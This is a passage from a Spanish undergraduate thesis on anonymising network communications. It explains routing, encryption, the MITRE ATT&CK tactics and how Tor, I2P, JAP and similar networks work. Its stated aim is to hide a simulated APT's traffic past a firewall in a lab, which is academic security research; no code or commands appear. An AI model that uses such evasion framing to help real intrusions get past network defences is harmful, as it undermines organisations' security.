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RESUMEN

En un mundo tan interconectado como el actual en el que se puede acceder desde cualquier
lugar, por remoto que sea, a ilimitadas cantidades de informacion, es fundamental conocer las
amenazas que se ocultan ante los posibles riesgos que suponen esta libertad.

Una de las més peligrosas es, sin duda, la interceptacién y publicacion de informaciéon sensible
sin autorizacion.

Este trabajo se centrara en el estudio de diferentes técnicas para lograr que las comunicaciones
entre distintos nodos sean seguras y se encuentren lo méas protegidas dentro de lo posible, hasta
para que en muchos casos sean incluso indetectables. También se describiré el proceso de creacion
de una red de anonimizacioén detalladamente, con el fin de comprobar, sobre todo, su efectividad.

Por supuesto, todo esto también supone una amenaza enorme para la confidencialidad de las
redes internas de cualquier organizacién, de manera que se pondra el foco en las posibles brechas
que puedan dejar todo el proceso con el fin de proteger la informacién sensible.

ABSTRACT

In today’s interconnected world, where unlimited amounts of information can be accessed
from anywhere, no matter how remote, it is essential to be aware of the threats hidden behind
the potential risks posed by this freedom.

One of the most dangerous is undoubtedly the interception and publication of sensitive informa-
tion without authorization.

This work will focus on the study of different techniques to make communications between
different nodes as secure and protected as possible, so that in many cases they are even unde-
tectable. The process of creating an anonymization network will also be described in detail, in
order to test, above all, its effectiveness.

Of course, all of this also poses a huge threat to the confidentiality of any organization’s
internal networks, so the focus will be on potential breaches that may be left by the whole
process in order to protect sensitive information.

PALABRAS CLAVE

Seguridad, redes, anonimizacién, confidencialidad, privacidad, amenaza, comunicaciones, tra-
fico, cifrado, ataques.

KEY WORDS

Security, networks, anonymization, confidentiality, privacy, threat, communications, traffic,
encryption, attacks.






Capitulo 1

Introduccion.

1.1. Motivacion.

En primer lugar, antes de comenzar a afrontar el trabajo de investigacion, hay que tener en
cuenta las razones que llevan a hacer un estudio sobre la anonimizacién y exponerlas. Esto ayu-
dara a encontrar la importancia que supone implementar esta medida.

Debemos partir del hecho que trabajamos sobre un entorno ya elaborado del que forman parte
diversas maquinas. En ¢l se ha simulado la inyeccion de malware por medio de APT (Advanced
Persistent Threat) a ciertos equipos de una red interna protegida por un cortafuegos.

El problema surge al conocer que los precursores de esta amenaza se sitian fuera de dicha red
y para introducirla deben pasar por el firewall indicado. Si este esta correctamente configurado,
implementara un filtro en el que tan solo dejara acceder a la red interna un trafico entrante
determinado en el que, con total seguridad, no formaran parte las direcciones IP de los equipos
con el malware.

Esto supone el fracaso de la inyeccién de la amenaza, pues seréd descartado todo tipo de paquetes
enviados desde direcciones que no formen parte de una lista del cortafuegos, incluyendo la APT.

Y es en este punto cuando entra en juego la importancia de la anonimizacién, pues gracias a
las distintas técnicas que se utilizan para implementar esta técnica y que se presentaran durante
todo el trabajo, se podria lograr el cambio de IPs en los dispositivos infecciosos por unas a la que
el firewall permitiera el acceso, se podrian utilizar otras maquinas para acceder que luego pasen
la informacion a la méaquina atacante, o simplemente se podria evitar acceder a la red interna
pasando por el cortafuegos.

Existe una amplia variedad de técnicas que podemos usar para no ser detectados y asi acceder
a espacios web sin que se note nuestra presencia. Se estudiaran algunas de ellas y, finalmente, se
implementara una de ellas en un entorno de laboratorio controlado en el que se demostrara que
la anonimizacion es posible.



1.2. Objetivos.

A continuacion se definen algunos objetivos que se pretenden lograr con este trabajo de
investigacion:

= Estudiar técnicas para lograr traspasar la frontera légica de una red y acceder a los equipos
que componen la misma.

= Entender como funciona el trafico entre diferentes dispositivos y saber interpretarlo para
detectar anomalias que puedan suponer el ataque hacia la red.

» Entender que mecanismos de seguridad se pueden implementar sobre los puntos de acceso
a una red para evitar el ingreso de atacantes externos a ella.

= Conocer como funcionan internamente los procedimientos para lograr anonimizaciéon de las
comunicaciones y la importancia que tiene el mal uso de los mismos, asi como sus beneficios
y desventajas.

1.3. Plan de proyecto.

1. Redactar los objetivos dispuestos a lograr con el trabajo y la motivaciéon que lleva a desa-
rrollar el mismo.

2. Presentar y desarrollar conceptos relacionados con la terminologia que se usaré durante el
trabajo, y, por lo tanto, relacionados con la anonimizacién, la seguridad, la autorizacién,
el rastreo, etc.

3. Buscar y analizar diferentes técnicas que puedan ser utiles para anonimizar las comunica-
ciones. Senalar sus ventajas e inconvenientes.

4. Estudiar la estructura de la red con la que se cuenta y detallarla con el fin de conocer sus
limitaciones, sus puntos débiles y sus puntos fuertes.

5. Seleccionar la técnica més adecuada de las propuestas y desarrollarla a fondo sobre un
entorno de laboratorio con las herramientas que sean necesarias.

6. Recoger y analizar el trafico generado desde los distintos dispositivos de la red durante todas
las fases de desarrollo de la anonimizacién en el entorno de laboratorio, para demostrar las
fortalezas y debilidades de la técnica escogida.

7. Redactar las conclusiones que se hayan obtenido de la anonimizacién implementada, po-
niendo el foco, sobre todo, en los riesgos que supone su uso.

8. Reflexionar sobre el trabajo realizado y exponer posibles propuestas de mejora.



Capitulo 2

Estado del arte.

Es importante para desarrollar trabajos de gran envergadura contar con una bibliografia ex-
tensa, fiable y lo més precisa posible. Es por eso que antes de comenzar a desarrollar el trabajo,
convenga echar un vistazo al estado del arte, es decir, conceptos y técnicas relacionados con la
anonimizacion, ademés de otros proyectos que haya sido publicados sobre el tema que se va a
abordar, y que pueden servir de gran ayuda conforme se avance en la tarea.

Para el caso que ocupa este TFG, se cuenta principalmente con el trabajo elaborado por
Gonzalo Roa Gutiérrez el curso académico pasado (2020/21), tutorizado por el mismo profesor
que en este (Blas Torregrosa Garcia), llamado Creacién de una APT (Advanced Persistent
Threat) . En él se desarrolla la APT que aqui se tratara de ocultar por medio de anonimizacién
de las comunicaciones entre distintas partes. En dicho trabajo se elabora un laboratorio para las
pruebas que sera el que se seguiré utilizando en este caso.

Por otra parte, también se seguiran algunas pautas que se dejaron senaladas en otro TFG que
trabajo sobre el mismo entorno de laboratorio y que contaba también con el mismo tutor. Se
realizo el ano pasado por Javier Barrientos Gonzalez y trata sobre la Creacién de una botnet.

A continuacion se expone una definiciéon amplia de conceptos que se usaran en el desarro-
llo del trabajo, las diferentes técnicas existentes utilizadas para anonimizar cualquier tipo de
comunicaciéon y una descripcién de las herramientas que se han utilizado.

2.1. Conceptos basicos.

2.1.1. Anonimizacion.

Segun la Real Academia Espanola, consiste en expresar un dato relativo a entidades o personas,
eliminando la referencia a su identidad. 2]

Segun la AEPD (Agencia Espanola de Proteccion de Datos) debe considerarse como una forma
de eliminar las posibilidades de identificacién de las personas. La misma agencia afirma que la
finalidad del proceso es garantizar que cualquier operacién o tratamiento que pueda ser realizado
con posterioridad al mismo, no conlleve una distorsiéon de los datos reales.

Se sefialan algunos principios a tener en cuenta en un proceso de anonimizaciéon en relaciéon con
la privacidad:[3]



= Principio proactivo: La proteccion de la privacidad es el primer objetivo de la anonimizacion
y su gestién debe realizarse de forma proactiva y no reactiva. Es decir, la privacidad no
puede garantizarse a posteriori como el resultado de la reparacion de brechas existentes en
el proceso de anonimizacién, es necesario asegurar la inexistencia de posibles cadenas de
reidentificacion de los interesados en los datos anonimizados.

s Principio de privacidad por defecto: El primer requisito conceptual en el diseio de un
sistema de informacion sera garantizar la confidencialidad de los interesados. Asi, se debe
salvaguardar la privacidad teniendo en cuenta la granularidad o grado de detalle final que
deben tener los datos anonimizados.

= Principio de privacidad objetiva: Existird un umbral de riesgo residual de reidentificacion
que debe ser conocido. Cuando los datos anonimizados sean para uso publico, también se
dard a conocer publicamente informando de dicho riesgo a las personas o entidades que
utilicen la informacion.

= Principio de plena funcionalidad: Desde el inicio del disefio del sistema de informacion se
tendra en cuenta la utilidad final de los datos anonimizados.

= Principio de privacidad en el ciclo de vida de la informacion: Las medidas que garantizan
la privacidad de los interesados son aplicables durante el ciclo completo de la vida de la
informacién, partiendo de la informacién sin anonimizar.

= Principio de informacion y formacién: Durante el ciclo de vida de la informacién, todo
el personal con acceso a los datos anonimizados o no anonimizados seré convenientemente
formado e informado acerca de sus obligaciones.

2.1.2. Comunicaciones.

En términos generales, la comunicacién en la informética se refiere al proceso de intercambio de
informacion entre dispositivos. Los datos que son procesados y almacenados por un ordenador se
representan en digitos binarios, por lo que el intercambio de datos entre equipos implica exportar
bits de un lado a otro. [4]

En la fuente y el destino, los datos estdn en forma digital. Sin embargo, durante la transmision,
los datos pueden estar en formato digital o analogico.

Para que la comunicacion entre los diferentes puntos pueda entenderse, es importante sefialar
que debe haber un “lenguaje” comin llamado protocolo.

Podemos encontrar 4 grandes tipos de comunicaciones de datos [5]:

= Simplex: El mensaje se envia en una sola direccién. El receptor no tiene la capacidad de
responder al mensaje.

» Half-duplex: Proporciona mensajes en ambas direcciones, pero solo permite la transferencia
en una direccion a la vez. Si los dos lados de la transmisién intentan enviar datos al mismo
tiempo, ambos fallaran.

» [full-dupler: Funciona en ambas direcciones al mismo tiempo. Basicamente, la comunica-
cién de datos diplex es un conjunto de dos canales simplex.
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Figura 2.1: Tipos de comunicacién.

= Fn serie: En este tipo de comunicacién se fragmenta el mensaje desde el emisor, y el
receptor debe ensamblar estos para componer el mensaje original.

2.1.3. Seguridad.

En términos de la informacion, se trata del &mbito sobre el que se implementan procedimientos
o técnicas para proteger los datos que se tienen, manejan y disponen frente a situaciones exter-
nas que puedan suponer su desaparicién o alteracién, preservando siempre las tres propiedades
fundamentales de la informacion [6]:

= Confidencialidad: La informaciéon debe ser conocida y tratada solo por las personas que
necesitan conocerla y que estan autorizadas a ello. Significa seguir un principio de no
divulgaciéon y proteger la privacidad.

= Integridad: Garantiza que la informacién no ha sido manipulada por terceros, o sea, per-
sonas no autorizadas.

= Disponibilidad: Consiste en hacer que la informacién sea accesible siempre, para que las
personas autorizadas puedan acceder a ella siempre que quieran, y puedan tratarla. Tam-
bién garantizara una recuperacion temprana en caso de fallo de seguridad y corrupcién o
desaparicion de la misma.

2.1.4. Enrutamiento.

Al referirse a enrutamiento dentro del entorno de las redes, se describe el proceso mediante el
cual se logra que un paquete en una red pueda llegar a un dispositivo destino que, puede estar
en otra red dispuesta en un punto diferente al que se encuentra el emisor del mensaje, o en la
misma red que el emisor (en este caso el enrutamiento no significa ninguna dificultad).

Para que se pueda realizar este proceso es necesario conocer que un dispositivo, en una red
cualquiera, esta identificado por una direccion IP tnica para esa red, y que en el momento que
se disponga a enviar un paquete de datos, el paquete contendra dicha direccién y también la
direccién destino, ademés de un predmbulo, un delimitador de inicio de trama, la longitud, el



encabezado, los datos y una secuencia de verificacién del mensaje, en una disposicion tal y como
muestra la Figura 2.2}

7 bytes 1 byte 6 bytes 6 bytes 2 bytes 46 a 1500 bytes 2 bytes

Secuenda de
Direccion de destino Direccién de origen Longitud Encabezado y datos| verificacion de la
trama

Delimitador de inico

Preambulo de trama

Figura 2.2: Campos de una trama.
Cada vez que la trama llegue a un router, este debe desempaquetar el paquete y seguir los
siguientes 4 sencillos pasos [14]:

1. Verificar que la trama no contenga errores comprobando el campo de secuencia de verifi-
cacion.

2. Eliminar encabezado y cola de la trama para dejar solamente el paquete IP.

3. Obtener la direccion IP destino que indica el paquete y comprobar que ruta dispone el
router hacia dicha direccién consultando la tabla de encaminamiento, que tiene un aspecto
como el siguiente:

IPv4 Route Table
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Figura 2.3: Ejemplo de tabla de encaminamiento en un router. [15]

De esta manera se busca el router que mejor se correlaciona con la direccién IP accediendo
a la interfaz (Interface en Figura que lleve a la red destino (Network Destination en
Figura . Cuanto mejor métrica tenga dicha ruta (Metric en Figura , més adecuado
seré ir por ella [[]

Si no se encuentra ninguna ruta hacia la direccion indicada, el paquete se descarta y este
debera intentar acceder a otro router para encontrar el camino que lleve a la IP destino.

4. Encapsula el paquete IP con un nuevo encabezado y cola con los nuevos datos necesarios
para reenviar el paquete hacia una nueva interfaz de salida.

'En caso, de que se puede acceder a la red destino por dos rutas diferentes, se escogeré la que tenga un valor
) 7
més bajo en la columna de la métrica.



2.1.5. Amenaza.

Se trata de un incidente que tiene el suficiente potencial como para suponer un fallo de
seguridad, pues aprovecha una vulnerabilidad para atentar contra un sistema de informacion. [7]

Las amenazas pueden proceder de ataques, sucesos fisicos (incendios, inundaciones) o negligencia
y decisiones institucionales. Y desde el punto de vista de una organizaciéon pueden ser tanto
internas como externas.

Existen muchos tipos de amenazas, y también una amplia gama de clasificaciones de las mismas.
Para el trabajo que se expone, se seguird la clasificacion ATT&CK aportada por la empresa

Mitrdzl

2.1.6. Clasificacion Mitre ATT&CK.

Para esta clasificacion se forman tres matrices diferentes: Enterprise (técnicas y tacticas que se
aplican a los sistemas Windows, Linux o MacOS), Mobile (tacticas y técnicas que se aplican a los
dispositivos moviles) y PRE-ATT&CK (técticas y técnicas relacionadas con lo que los atacantes
hacen antes de intentar vulnerar una red o un sistema en particular).

En los ultimos anos, también se ha elaborado una matriz colaborativa para sistemas de control
industrial (ICS). Para este trabajo se centrara el foco en la matriz Enterprise [§].
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Figura 2.4: Matriz ATT&CK ICS con las tacticas y las técnicas.

En la matriz ICS, que se puede observar en la imagen superior (Figura [2.2)), los titulos de las
columnas son tacticas y, basicamente, categorias de técnicas, que son cada uno de los apartados

2QOrganizacién estadounidense sin animo de lucro que provee ingenierfa de sistemas, investigacion y desarrollo,
y soporte sobre tecnologias de la informacion al gobierno



que forman parte de las columnas. Todas las matrices ATT&CK siguen la misma estructura.

Las técticas corresponden a qué intentan lograr los atacantes, mientras que las técnicas indivi-
duales corresponden a cé6mo logran esos pasos u objetivos. Para que un atacante logre con éxito
cada una de las técnicas, debe seguir las tacticas que la componen.[9]

En el caso de la matriz Enterprise, forman parte de la misma 14 tacticas. A continuacion se listan
todas ellas y se centra una especial atencion en las dos que repercuten a este trabajo (Exfiltracion
y Comando y control):

Reconnaissance (Reconocimiento).

Resource Development (Desarrollo de recursos).
Initial Access (Acceso inicial).

Execution (Ejecucion).

Persistence (Persistencia).

Privilege Escalation (Escalada de privilegios).
Defense Evasion (Evasion de defensa).
Credential Access (Acceso a Credenciales).
Discovery (Descubrimiento).

Lateral Movement (Movimiento lateral).
Collection (Coleccion).

Command and Control (Comando y control): Esta tactica reune las técnicas utili-
zadas por los atacantes para comunicarse con los sistemas que forman parte de la red que
se consideraré victima. Se puede establecer dicha tactica mediante varios niveles de sigilo,
priorizando siempre el principal objetivo: no ser detectados.

Exfiltracion (Exfiltraciéon): Consiste en la tactica que tiene como objetivo robar datos
de la red infectada. Dentro de las prioridades de dicha préctica se encuentran el evitar
la detecciéon y la transferencia de los datos recogidos, que se eliminaran de su ubicacion
original.

Impact (Impacto).

2.1.7. Monitorizacion.

Conjunto de técnicas consistentes en recoger y analizar valores a partir de la medicién, durante
un tiempo determinado, del trifico de una red entre extremos. Para llevarla a cabo se pueden
utilizar multitud de programas como Nagios, Pandora, FMS, Netdata, también analizadores de
protocolos como Wireshark, o sistemas de deteccion de intrusos en red como Snort.
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2.1.8. Cifrado (criptografia).

Procedimiento utilizado para transformar cualquier contenido en uno completamente opuesto
e incomprensible, con el propoésito de proteger dicha informacion, por medio de una clave. Dicho
contenido no se podré leer a no ser que se disponga de una clave para descifrarlo.

Segiin como sean las claves de cifrado y descifrado, se pueden clasificar las distintas técnicas
como [11]:
s Algoritmos simétricos.

Las claves son iguales. Emisor y receptor deben ponerse de acuerdo para compartir la
misma clave. El remitente cifra un mensaje usando la clave, lo envia al destinatario, y este
lo descifra con la misma clave. Son sencillos de utilizar y resultan bastante eficientes. Los
més utilizados actualmente son DES, 3DES, AES, Blowfishe IDEA.

Symmetric encryption

Plaintext Secret key Ciphertext Plaintext

encryption

Figura 2.5: Funcionamiento de cifrado simétrico. [12]

s Algoritmos asimétricos.

Las claves son diferentes. Se trata de una piublica y otra privada. La primera la conoceran
los dos usuarios, y la segunda serd tnica y secreta para cada uno. Ambas claves estan
ligadas entre si, una no es nada sin la otra, pero debe ser imposible obtener una a partir
de la otra.

Una caracteristica importante de estos sistemas es que estan basados en funciones matema-
ticas, de forma que son faciles de resolver en un sentido, pero que su resolucién en sentido
contrario es extremadamente complicada.

Estos algoritmos presentan las propiedades de autenticidad, integridad y no repudio.

Los algoritmos mas conocidos que usan esta técnica son Diffie-Hellman, RSA y DSA.

Asymmetric encryption

Plaintext Ciphertext Plaintext

Figura 2.6: Funcionamiento de cifrado asimétrico. [12]

= Clifrado hibrido.

Se usa tanto un cifrado simétrico como uno asimétrico. Combina la conveniencia de un
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esquema de cifrado asimétrico con la eficacia de un esquema de cifrado simétrico.

El cifrado de clave publica se implementa para el cifrado de clave simétrica aleatoria. A
continuacion, el destinatario utiliza el método de cifrado de clave publica para descifrar
la clave simétrica. Una vez que se recupera la clave simétrica, se utiliza para descifrar el
mensaje. [13]

2.2. Alternativas ya creadas para comunicacién anénima.

Existen infinidad de formas para realizar una comunicacion, y més atn hoy en nuestros dias,
en un mundo que estd constantemente interconectado y en el que la informacién se transmite en
alta velocidad.

Es por ello que es una necesidad que estos métodos sean fiables, rapidos y tengan una alta
disponibilidad. Asi, podemos comprobar que las estructuras de red en cualquier edificio, ya sea
una empresa o una residencia familiar, suponen un requisito principal en la construccién de los
mismos.

Y si se habla sobre la comunicacién entre dispositivos, por supuesto, también se debe tener en
consideracion la cantidad de trafico de datos que se transmitiran por el medio, datos que pueden
ser identificativos y pueden estar expuestos en rastreo de dicha comunicacion de forma que se
termine por dar con informacién confidencial de alguna de las partes, poniendo asi en riesgo la
seguridad del canal.

Es por eso, que una de las caracteristicas principales que debe tener una red es la seguridad,
una seguridad que debe estar reforzada y probada, ya sea con técnicas de cifrado, por medio de
monitorizacion, sistemas de detecciéon y prevencion de intrusion, filtrado de paquetes, etc.

En este punto se estudiaran a fondo algunas de las técnicas que ya existen, y pueden ser
probadas, para realizar una comunicacién anénima, y, por lo tanto, segura, ya que seré imposible
la identificacién del emisor y del receptor.

2.2.1. Redes de anonimizacion.

Este se trata de uno de los mecanismos més seguros: a partir de él se puede lograr ocultar la
identidad, la localizacién y los servicios accedidos durante el proceso de la comunicacion.

Antes de comenzar a desarrollar el funcionamiento de esta técnica conviene conocer el proceso
de enrutamiento de un paquete en cualquier red, tal y como se explica en el punto [2.1.4]

» Principios de funcionamiento.

La clave de esta técnica es ocultar el verdadero destino de la comunicacién, y esto solo es
posible lograrlo conociendo el camino completo que el paquete debe recorrer para llegar
hasta el fin.

Para ello, en una red de anonimizacién, se negocia una ruta entre los distintos routers
para alcanzar el destino desde el origen. Esto solo se podra realizar si se sabe que routers
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componen la red, y que enlaces hay entre ellos, como es el caso que sucede con esta técnica.

Asi, se podra fingir que no se conoce la IP destino final, reenviandola al router més cer-
cano, con el que se ha negociado la ruta, y que se sabe con anterioridad, que llevara hasta el
destino. Es decir, en el momento que se envia cualquier paquete desde el emisor se pondra
como IP destino la direcciéon del router méas cercano.

Una vez en el router, para reenviar la trama al siguiente destino, se reemplaza el origen
desde el que le ha llegado el paquete, y se escribe en ese campo la direccién actual del rou-
ter. Lo mismo se hace con la direcciéon destino. De esta manera, se oculta continuamente
desde donde proviene la trama y hacia donde va.

Para que todo esto sea posible, los routers deben guardar el registro de la ruta negociada
mientras dure el intercambio de informacién para permitir la comunicacién bidireccional.
Esto solo se consigue convirtiendo el enrutador en un agente de reenvio. [1]

= Ejemplos de redes de anonimizacion.

o TOR.

Se trata de la red de anonimizacién mas popular, creada en 2002 como un proyecto
patrocinado por el Laboratorio de Investigaciéon Naval de Estados Unidos con el ob-
jetivo de proteger las comunicaciones de inteligencia del pais.

En 2006 se fundé The Tor Project, una organizacién sin animo de lucro orientada a
la investigacion y que es la responsable actual del mantenimiento de TOR.

En 2008 se cred el navegador TOR para conseguir que fuera mas accesible para los
usuarios de Internet. [17]

Sus tres siglas quieren decir “The Onion Routing’ﬁ debido a la peculiar forma que
utiliza para encriptar y encapsular los mensajes por medio de capas.

Esta compuesta por una red de nodos geograficamente dispersos operados por volun-
tarios, y que se comunican entre si mediante TLS (protocolo de seguridad en la capa
de transporte E[) que ofrece privacidad y la seguridad de los datos en las comunicacio-
nes por Internet, concretamente permite mantener la confidencialidad y la integridad
de la informacion transmitida entre los nodos.

En TOR existen dos tipos de nodos[I§]:

o Nodos OR (Onion Router): Se trata de todos los servidores que forman parte
de la red TOR y que funcionan como encaminadores para transmitir flujos de
informacién de unos a otros.

Como se ha descrito, estos estan operados por voluntarios y se comunican entre
s{ por medio de TLS. Pueden ser puerta de entrada a la red, puerta de salida, o

3En espaifiol enrutamiento “cebolla”.
4Transport Layer Security
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intermedios. Publican todas sus caracteristicas en el servicio de dominio en cuanto
se inician.

o Nodos OP (Onion Proxy): Son los clientes que solicitan acceso a la red TOR para
anonimizar su comunicacion.
Para conocer las direcciones de los nodos OR por los que pasara toda la informa-
cién que soliciten, las recogen de un servicio de directorio, que no es mas que una
base de datos distribuida que almacena las direcciones de todos los nodos OR. A
partir de entonces establecen circuitos aleatorios a través de estos.

Actualmente (10/03/2022) existen activos 1480 repartidos por 50 paises de todo el
mundo. En la imagen inferior (Figura se muestra su distribuciéon graficamente:

@ 100+ Mbit/s relays
. smaller relays

o . . D nonesits
50 countries with 1480 exits (1406 visible) °

2022-03-10 17:00:00

Figura 2.7: Nodos OR activos actualmente repartidos geogréaficamente por paises [16].

El funcionamiento de la red TOR se basa en un enrutamiento por capas, coloquial-
mente denominado “cebolla”.

Esto significa que, para proteger el paquete que se va a enviar, el emisor genera N
capas, siendo N también el niimero de servidores intermedios por los que pasara el
paquete.

Asi, cada capa se crea con una clave simétrica negociada por medio de un algoritmo
de clave asimétrica entre cada servidor y el cliente, de manera que la trama se va
desenvolviendo conforme pasa de un servidor a otro, hasta que el nodo final “quita”
la ultima capa y muestra el mensaje original al receptor.

Esta técnica consigue, sobre todo, aumentar la fiabilidad de la red de anonimizacion,
pues asegura que aunque algin nodo OR falle, no se compromete el contenido del
paquete. Para ello seria necesario controlar absolutamente todos los nodos de la red.

18]

En la imagen inferior (Figura|2.8)) se ha elaborado un diagrama que muestra a “groso
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modo”, de forma grafica, el funcionamiento descrito anteriormente:

COMUNICACION NO CIFRADA

= COMUNICACION CIFRADA

NODO OP EMISOR

ol v

D NODO OR DE SALIDA

NODO OR DE ENTRADA @

il vl f
T

. -

Fe———3N

NODO OR INTERMEDIO

-

Fe———3N

RED TOR NODO OP RECEPTOR

Figura 2.8: Diagrama de funcionamiento de comunicacion en la red TOR.

Ademés del enrutamiento “cebolla”; en una comunicacién para la red TOR también

se usan circuitos telescopicos. Gracias a ellos el cliente puede saber en todo momento
el estado de los nodos OR por los que pasa el mensaje.

Su proceso de creacion esté formado por 5 pasos [18]:
1. El cliente TOR crear una conexion TLS a un nodo OR de entrada. Posteriormente,

negocian, mediante el algoritmo de clave piblica Diffie-Hellman, un secreto que
usaréan como clave para cifrar y descifrar las celdas transmitidas de uno a otro.

2. A través del tunel creado en el paso 1, se realiza una conexién TLS con el siguiente
nodo del circuito, y se vuelve a negociar una clave compartida. De esta forma se
consigue tener un tunel a un segundo nodo, que atraviesa el ttunel ya creado hacia
el primer nodo.

3. Prosigue la extension del circuito hasta que se llegue a los tres saltos, que es lo
méximo que permite la actual version de TOR.

4. El cliente envia un mensaje al ultimo nodo pidiendo a este que acceda al destino.

5.

El cliente puede empezar a enviar datos, que estaran organizados en capas. Cada
capa estard cifrada con las claves de sesiéon negociadas previamente en orden
inverso, es decir, la clave de la capa mas externa serd la creada para el tunel
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con el nodo de salida, y la clave de la capa mas interna, previa al contenido del
mensaje, sera la creada para el nodo de entrada.

A partir de la informacién obtenida de su configuracién y del servicio de directorio,
el nodo OP decide un circuito por el que van a circular los paquetes y que tendra tres
nodos OR como maximo, tal y como se ha indicado anteriormente.

I12P. [20)

Se trata de un proyecto puesto en marcha desde 2003, en el que sus siglas se traducen
en The Invisible Internet Project (El proyecto del internet invisible).

Al igual que los dos anteriores es gratuito, ademés también proporciona un servicio
DNS exclusivo y una capa de aplicacién que permite a las personas usar y crear
aplicaciones para fomentar su uso diario. También tiene su propia base de datos interna
para distribuir informacién de enrutamiento.

La red esta formada por pares (routers) y ttneles virtuales unidireccionales de en-
trada y salida. La comunicacién entre los pares se realiza mediante protocolos sobre
mecanismos existentes (tanto UDP, como TCP), y esté cifrada entre los pares, tal y
como sucedia en TOR, pero no entre el origen y el primer nodo, ni entre el ultimo
nodo y el destino.

En la Figura se puede observar un pequeno diagrama sobre el funcionamiento de
la red:
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Figura 2.9: Diagrama de funcionamiento de comunicacion en la red 12P.

Los clientes tienen su propia identificacién y pueden conectarse a cualquier par, al
cual deben autorizar la asignaciéon temporal de los tiineles que usardn para transmitir
y recibir informacion.

Una caracteristica importante de esta red de anonimizacion es que esta casi comple-
tamente descentralizada, a excepcién de lo que se llaman Servidores de reinicio.
Estos se encargan de mostrar al cliente los pares a los que a de conectarse la primera
vez que acceda a la red. Una vez conectado, los siguientes pares se descubren mediante
la construccion de tineles exploratorios. Asi, estos servidores solo sirven para iniciar
la conexidén, pero no sabran nada de la comunicacién que se mantenga posteriormente
por los tineles y los pares que ha mostrado.

La red es P2P plenamente distribuida, es decir, se comparten todos los recursos y
cada nodo participa en el enrutamiento de paquetes para otros, por lo que si se va a
conocer que el ordenador que acceda a I2P esta haciéndolo, pero no se conoceran las
actividades que este esté realizando en la red.

Una de las principales desventajas de I2P es que considera beneficioso permanecer
completamente en la red y, por lo tanto, no permite acceder a Internet, de manera
que es una red completamente encapsulada.

o JAP. [19]

También conocido como Java Anon Proxy o JonDonym, se trata de un servicio de
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anonimizacién patrocinado por las universidades de Regensburg y Dresde.

La arquitectura de JAP esta distribuida en 3 importantes componentes:

o JAP: Programa instalado para acceso a la red en el ordenador del cliente. El mas
usado es Jondo, un cliente que funciona sobre Java.

o Mixes: Intermediarios anénimos que reciben los flujos de datos de varios clientes
y los mezclan para conseguir un mejor cifrado.

o InfoService: Servicio aparte que proporciona informacién de los mixes disponibles,
la cantidad de usuarios que estan utilizando cada uno y la carga que estos tienen
en cada momento.

JAP utiliza una secuencia predeterminada para los mixes. Esta secuencia de mixes
enlazados se denomina “mix cascade”. Los usuarios pueden elegir entre diferentes “mix
cascades”. Conociendo esto, el funcionamiento es sencillo de comprender:

1. Los clientes JAP consultan a InfoService la situacion actual de los mixes, y si
coincide la version del software que estos usan con la del programa que utilizan
los clientes, si no es asi, InfoService proporciona la actualizacion correspondiente.

2. Se registra una conexién bidireccional TCP/IP entre el cliente JAP y una de las
“mix cascades” que debe escoger el cliente, y que se mantendra hasta que se cierre
la sesion.

3. JAP cifra los datos con un proceso asimétrico, con los algoritmos RSA con claves
de 1024 bits y AES con claves de 128 bits, y los envia a la primera estacién mix.

4. La primera estacion mix mezcla los datos con los de otros usuarios y los envia a
la segunda estaciéon mix que los pasa a la tercera estaciéon mix.

5. La tercera y tdltima estacion mix descifra y envia los datos, a través de un proxy
de caché, a Internet.

En el siguiente diagrama (Figura [2.10) se muestra a grandes rasgos el funcionamiento
de JAP, expuesto en anteriores lineas:
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- Mol 1 Mix 2 Mix 3

(First M) {hfcdle Adic) [Last Misx)
=i
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e YT === badirectional TCRP canreclion

Figura 2.10: Funcionamiento de comunicaciéon en red JAP.[19]
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Importante sefialar que JAP utiliza un cifrado muy similar al que usa TOR, por medio
de capas.

Cada mix descifra una capa del mensaje, de forma que los datos estdn encapsulados
sobre tantas capas como mixes vaya a pasar la informacién. Este proceso garantiza
que cada capa solo se elimine con el mix correcto.

Como se ha descrito anteriormente, los mensajes en JAP se cifran simétricamente con
AES y esta clave simétrica se cifra con el método RSA asimétrico.

o Otros.

o Freenet: Red red P2P completamente descentralizada, como I2P, con almacena-
miento en caché adaptativo (permite escalar la red con mayor facilidad). Esta
disenada como un almacén distribuido de datos. La gente ha construido aplica-
ciones sobre el sistema para tener otras comunicaciones anénimas genéricas, como
webs estaticas y foros.

Protegida de forma similar a las expuestas con anterioridad, y ademés incluye
“Claves sub espaciales firmadas” que permiten que el contenido se firme digital-
mente. También permite reconstruir un archivo enviado incluso si algunas de las
partes de ese archivo no se pueden recuperar. [21]

Una de sus principales desventajas es la poca fiabilidad en su anonimato con
respecto a atacantes con grandes recursos para poder realizar analisis completos,
debido basicamente a la heuristica de ruteo que usa. [22]

o RetroShare: Se trata de un software que permite crear una red cifrada P2P des-
centralizada entre el cliente y personas con las que intercambie certificados de
RetroShare. Solo estos vecinos conocerén su IP piblica.

Los enlaces entre nodos estan encriptados mediante claves asimétricas seguras
(formato PGP).

Su principal inconveniente es que es necesario crear una red propia, reclutando
amigos o uniéndose a una red de amigos existente. [23]

o Morphmix / Tarzan: Se trata de dos redes P2P plenamente distribuidas, que uti-
lizan proxies para enviar datos fuera a través de redes de mezcla de baja latencia
(outproxies). Morphmix incluye algoritmos de deteccion de colisiones, y Tarzan
escasez de direcciones IP para evitar ataques.

o Mixminion / Mixmaster: Son dos redes cuyo principal propoésito es el reenvio de
correo electronico de forma anénima.

o MUTE / AntsP2P: Son dos sistemas de coédigo abierto P2P que utilizan enru-
tamiento basado en hormigas (antnet) para anonimizar las comunicaciones. Con
este algoritmo primero se busca la ruta deseada al destino aleatoriamente o me-
diante broadcast, y posteriormente se optimiza.
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Su principal inconveniente es que antnet escala bastante mal, por lo que solo es
atil para redes pequenas.

= Utilidad.

Gracias a la privacidad que garantizan, estas redes son, sobre todo, utilizadas para esquivar
la censura en paises donde la misma se encuentra impuesta.

En paises donde no hay limites para navegar por internet, esta técnica se ha utilizado para
poder acceder a contenidos que estédn limitados por imposicién de cualquier empresa, de
forma que un empleado pueda sortear dicha limitacién hasta desde su puesto de trabajo.

También se utiliza en las organizaciones que son perseguidas por el control de los gobiernos,
debido a las actividades delictivas que promueven, como es el caso de Anonymous, New
World Hackers, Ghost Squad Hackers o La Nueve [36].

Pero, de la misma forma, se pueden utilizar desde la otra parte, y es que las redes de
anonimizaciéon permiten encubrir actividades de los servicios de inteligencia, que pueden
pasar inadvertidos para acceder a los sitios web desde donde se estén planteando ataques
cibernéticos.

2.2.2. VPN (Redes Privadas Virtuales).

